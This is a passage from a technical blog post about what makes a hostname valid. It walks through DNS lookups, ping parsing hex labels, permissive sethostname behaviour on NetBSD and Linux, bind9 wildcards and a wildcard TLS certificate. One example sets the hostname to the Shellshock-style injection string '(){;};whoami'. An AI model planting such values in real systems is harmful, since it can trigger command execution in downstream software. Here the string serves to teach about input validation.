|
||||
$ grep domain /etc/resolv.conf
|
||||
domain valid.dns.netmeister.org # save ourselves some typing
|
||||
$ host 0xcafe
|
||||
0xcafe.valid.dns.netmeister.org has address 203.0.113.10
|
||||
0xcafe.valid.dns.netmeister.org has IPv6 address 2001:db8:cafe:cafe:cafe:cafe:cafe:c0fe
|
||||
$ ping 0xcafe
|
||||
PING 0xcafe (0.0.202.254): 56 data bytes
|
||||
^C
|
||||
</pre></div>
|
||||
|
||||
<p>Since <tt>0xcafe</tt> is not a FQDN, our
|
||||
<tt>host(1)</tt> command will append
|
||||
<tt>.valid.dns.netmeister.org</tt>. But
|
||||
<tt>ping(1)</tt> says "Hey, that's just a hex number,
|
||||
let me <a href="inet_aton.html">pretend it's an IP address</a> and ping
|
||||
<em>that</em> instead.". Yay!</p>
|
||||
|
||||
<p>But... isn't a "hostname" in the end whatever the
|
||||
<tt>hostname(1)</tt> command returns (depending on
|
||||
your Unix flavor using either the <tt>-s</tt> flag or
|
||||
as a default)? And shouldn't <em>that</em> define
|
||||
what is and isn't "valid"?</p>
|
||||
|
||||
<p>Well, guess what: the <tt>hostname(1)</tt> command
|
||||
itself may not enforce any restrictions on
|
||||
what you <em>set</em> your system's hostname to. Even
|
||||
if your <tt>hostname(1)</tt> does, your
|
||||
<tt>sethostname(2)</tt> probably does not:</p>
|
||||
|
||||
<div style="text-align: center;"><pre class="code">
|
||||
# NetBSD:
|
||||
$ sudo hostname _invalid
|
||||
$ hostname _invalid
|
||||
$ sudo hostname " "
|
||||
$ hostname
|
||||
|
||||
$ sudo hostname '(){;};whoami'
|
||||
$ hostname
|
||||
(){;};whoami
|
||||
$
|
||||
|
||||
# Linux
|
||||
$ sudo hostname _invalid
|
||||
hostname: the specified hostname is invalid
|
||||
$ sudo sysctl -w kernel.hostname=_invalid
|
||||
kernel.hostname = _invalid
|
||||
$ hostname
|
||||
_invalid
|
||||
$ echo '(){;};whoami' | sudo tee /proc/sys/kernel/hostname
|
||||
(){;};whoami
|
||||
$ hostname
|
||||
(){;};whoami
|
||||
$
|
||||
</pre></div>
|
||||
|
||||
<p>Oh, and one last thing: <tt>*</tt> is a valid
|
||||
character for a DNS label, and so indeed a valid
|
||||
hostname (per RFC2181), but in <tt>bind9</tt> it
|
||||
<em>also</em> functions as a wildcard, matching any
|
||||
names that you do not have explicitly set in the zone.
|
||||
And that matches <tt>*</tt> itself:</p>
|
||||
|
||||
<div style="text-align: center;"><pre class="code">
|
||||
$ host $(tr -dc '[:print:]' </dev/urandom | head -c 12).dns.netmeister.org
|
||||
[?3ft0ds&]u.dns.netmeister.org has address 198.51.100.1
|
||||
[?3ft0ds&]u.dns.netmeister.org has IPv6 address 2001:db8::c2de:2d22:5ca1:2727
|
||||
$ host *.dns.netmeister.org
|
||||
*.dns.netmeister.org has address 198.51.100.1
|
||||
*.dns.netmeister.org has IPv6 address 2001:db8::c2de:2d22:5ca1:2727
|
||||
$ </pre></div>
|
||||
|
||||
<p>So with that, I can get myself a wildcard TLS
|
||||
certificate for <tt>*.netmeister.org</tt> and serve that
|
||||
from <a
|
||||
href="https://*.netmeister.org:4443">http://*.netmeister.org:4443</a><sup><small><a href="#1">1</a></small></sup>
|
||||
(although it will depend on your client whether or not
|
||||
it correctly interprets this hostname):</p>
|
||||
|
||||
<div style="text-align: center;"><pre class="code">
|
||||
$ curl -v -I https://*.netmeister.org:4443
|
||||
* Trying 2001:470:30:84:e276:63ff:fe72:3900:4443...
|
||||
* Connected to *.netmeister.org (2001:470:30:84:e276:63ff:fe72:3900) port 4443 (#0)
|
||||
[...]
|
||||
* SSL connection using TLSv1.2 / AES256-GCM-SHA384
|
||||
* Server certificate:
|
||||
* subject: CN=*.netmeister.org
|
||||
* subjectAltName: host "*.netmeister.org" matched cert's "*.netmeister.org"
|
||||
* SSL certificate verify ok.
|
||||
> HEAD / HTTP/1.1
|
||||
> Host: *.netmeister.org:4443
|
||||
>
|
||||
< HTTP/1.1 200 OK
|
||||
</pre></div>
|
||||
|
||||
<p>Safari has no problem visiting that site, but
|
||||
Firefox and Chrome both treat
|
||||
<tt>https://*.netmeister.org</tt> as an invalid URL,
|
||||
so default to searching the internet instead. Web
|
||||
servers similarly may not correctly handle a <tt>Host:
|
||||
*.netmeister.org</tt> header: Apache appears to not
|
||||
extract the host from the header and will throw a
|
||||
<tt>400 Bad Request</tt>, while, e.g., <a
|
||||
href="http://www.eterna.com.au/bozohttpd/">bozohttpd</a>
|
||||
has no problem serving the request:</p>
|
||||
|
||||
<p><center><img src="/blog/images/*.netmeister.org.png"
|
||||
alt="Screenshot of Safair connecting to
|
||||
https://*.netmeister.org:4443"
|
||||
width="400"></center></p>
|
||||
|
||||
<p>So... what does <em>valid</em> mean in the context
|
||||
of "hostnames"? It seems like we haven't made made
|
||||
much progress since the beginning of this blog post.
|
||||
I guess the best we can do is draw the distinction
|
||||
between <em>RFC-valid</em> and "probably not a good
|
||||
idea":</p>
|
||||
|
||||
<ul>
|
||||
<li><tt>^[a-zA-Z0-9-]+$</tt> is <em>not</em> correct
|
||||
to match "valid" hostnames</li>
|
||||
<li>"<tt>_</tt>" <em>is</em> a valid character in a
|
||||
hostname, but so are <tt>!@#$%^&*(){};</tt>.<br>
|
||||
<br>
|
||||
It still isn't a good idea to use those characters in
|
||||
a DNS label for an <tt>A</tt> or <tt>AAAA</tt> record, and in
|
||||
fact many libraries and applications will reject them.</li>
|
||||
<li>As we've seen, you can stuff <em>anything</em> into the DNS and
|
||||
be <em>technically correct</em>, but that doesn't help
|
||||
you in reality.</li>
|
||||
<li>However, you should <em>never</em> assume that whatever comes
|
||||
back from a DNS lookup or what might show up in a
|
||||
<tt>CNAME</tt> or anywhere else matches whatever <em>you</em>
|
||||
think is "valid".</li>
|
||||
<li>You can spend a surprising amount of time chasing
|
||||
RFCs and finding out more than you ever thought you'd
|
||||
need to know about something as trivial as
|
||||
"hostnames".</li>
|
||||
</ul>
|
||||
|
||||
<p><a href="https://27bslash6.com/tiiap.html">The
|
||||
Internet is a Playground</a>, the DNS a
|
||||
never-ending source of entertainment and astonishment,
|
||||
and hostnames... largely undefined.</p>
|
||||
|
||||
<blockquote class="pretty" style="font-size: 1em;
|
||||
width: max-content;">
|
||||
<pre>
|
||||
"<em>'Tis but thy name that is my enemy;
|
||||
Thou art thyself, though not a Host.
|
||||
What's Host? It is nor port, nor service,
|
||||
Nor stack, nor app, nor any other part
|
||||
Belonging to a system. O, be some other name!
|
||||
What's in a name? That which we call a site
|
||||
By any other name would fail as quick;
|
||||
</em>" -- DevOps Juliet</pre>
|
||||
</blockquote>
|
||||
|
||||
|
||||
<p><small>October 18, 2021</small></p>
|
||||
|
||||
<hr width="80%">
|
||||
<p><small>Footnotes:</small></p>
|
||||
|
||||
<p id="1"><small>[1] This used to work as of October
|
||||
2021. Since then, Safari has also stopped working on
|
||||
desktop, but still works on iOS. However, I've
|
||||
changed my certificate from a wildcard certificate to
|
||||
a fixed names cert, so this no longer works as of
|
||||
01/2025. Sorry.</small></p>
|
||||
|
||||
<hr width="80%">
|
||||
|
||||
<p><small>Related Links:</small></p>
|
||||
|
||||
<ul>
|
||||
<li><small><a href="https://news.ycombinator.com/item?id=28914431">Discussion on HackerNews</a></small></li>
|
||||
<li><small><a href="https://lobste.rs/s/8xihmq">Discussion on Lobsters</a></small></li>
|
||||
<li><small><a href="https://www.reddit.com/r/devopsish/comments/qbhf0m/whats_in_a_hostname/">Discussion on Reddit</a></small></li>
|
||||
<li><small><a href="hostnames.txt">A file with all of the edge cases from this blog post</a></small></li>
|
||||
<li><small><a href="https://github.com/jschauma/dns-rrs/">DNS zonefiles used in this blog post</a></small></li>
|
||||
<li><small><a href="tlds.html">TLDs -- Putting the '.fun' in the top of the DNS</a></small></li>
|
||||
<li><small><a href="urls.html">URLs: It's complicated...</a></small></li>
|
||||
<li><small><a href="dns-rrs.html">(All) DNS Resource Records</a></small></li>
|
||||
<li><small><a href="whois.html">WHOIS: Fragile, unparseable, obsolete... and universally relied upon</a></small></li>
|
||||
<li><small><a href="email.html">Your E-Mail Validation Logic is Wrong</a></small></li>
|
||||
</ul>
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
<hr class="noshade" style="width:100%;">
|
||||
<small>
|
||||
← [<a href="return-printf.html">There is no 'printf'.</a>]
|
||||
<div style="float: right;">[<a href="inet_aton.html">IPv4 addresses are silly, <tt>inet_aton(3)</tt> doubly so.</a>] →</div>
|
||||
</small>
|
||||
<hr class="noshade" style="width:100%;">
|
||||
<small>
|
||||
[<a href="../index.html">homepage</a>]
|
||||
[<a href="index.html">blog</a>]
|
||||
[<a href="mailto:jschauma@netmeister.org">jschauma@netmeister.org</a>]
|
||||
[<a href="https://mstdn.social/@jschauma">@jschauma</a>]
|
||||
[<a href="rss.xml">RSS</a>]
|
||||
</small>
|
||||
<div class="container">
|
||||
<label class="switch" for="theme-checker" title="Dark/Light mode">
|
||||
<span class="slider round"></span>
|
||||
</label>
|
||||
</div>
|
||||
<hr class="noshade" style="width:100%;">
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user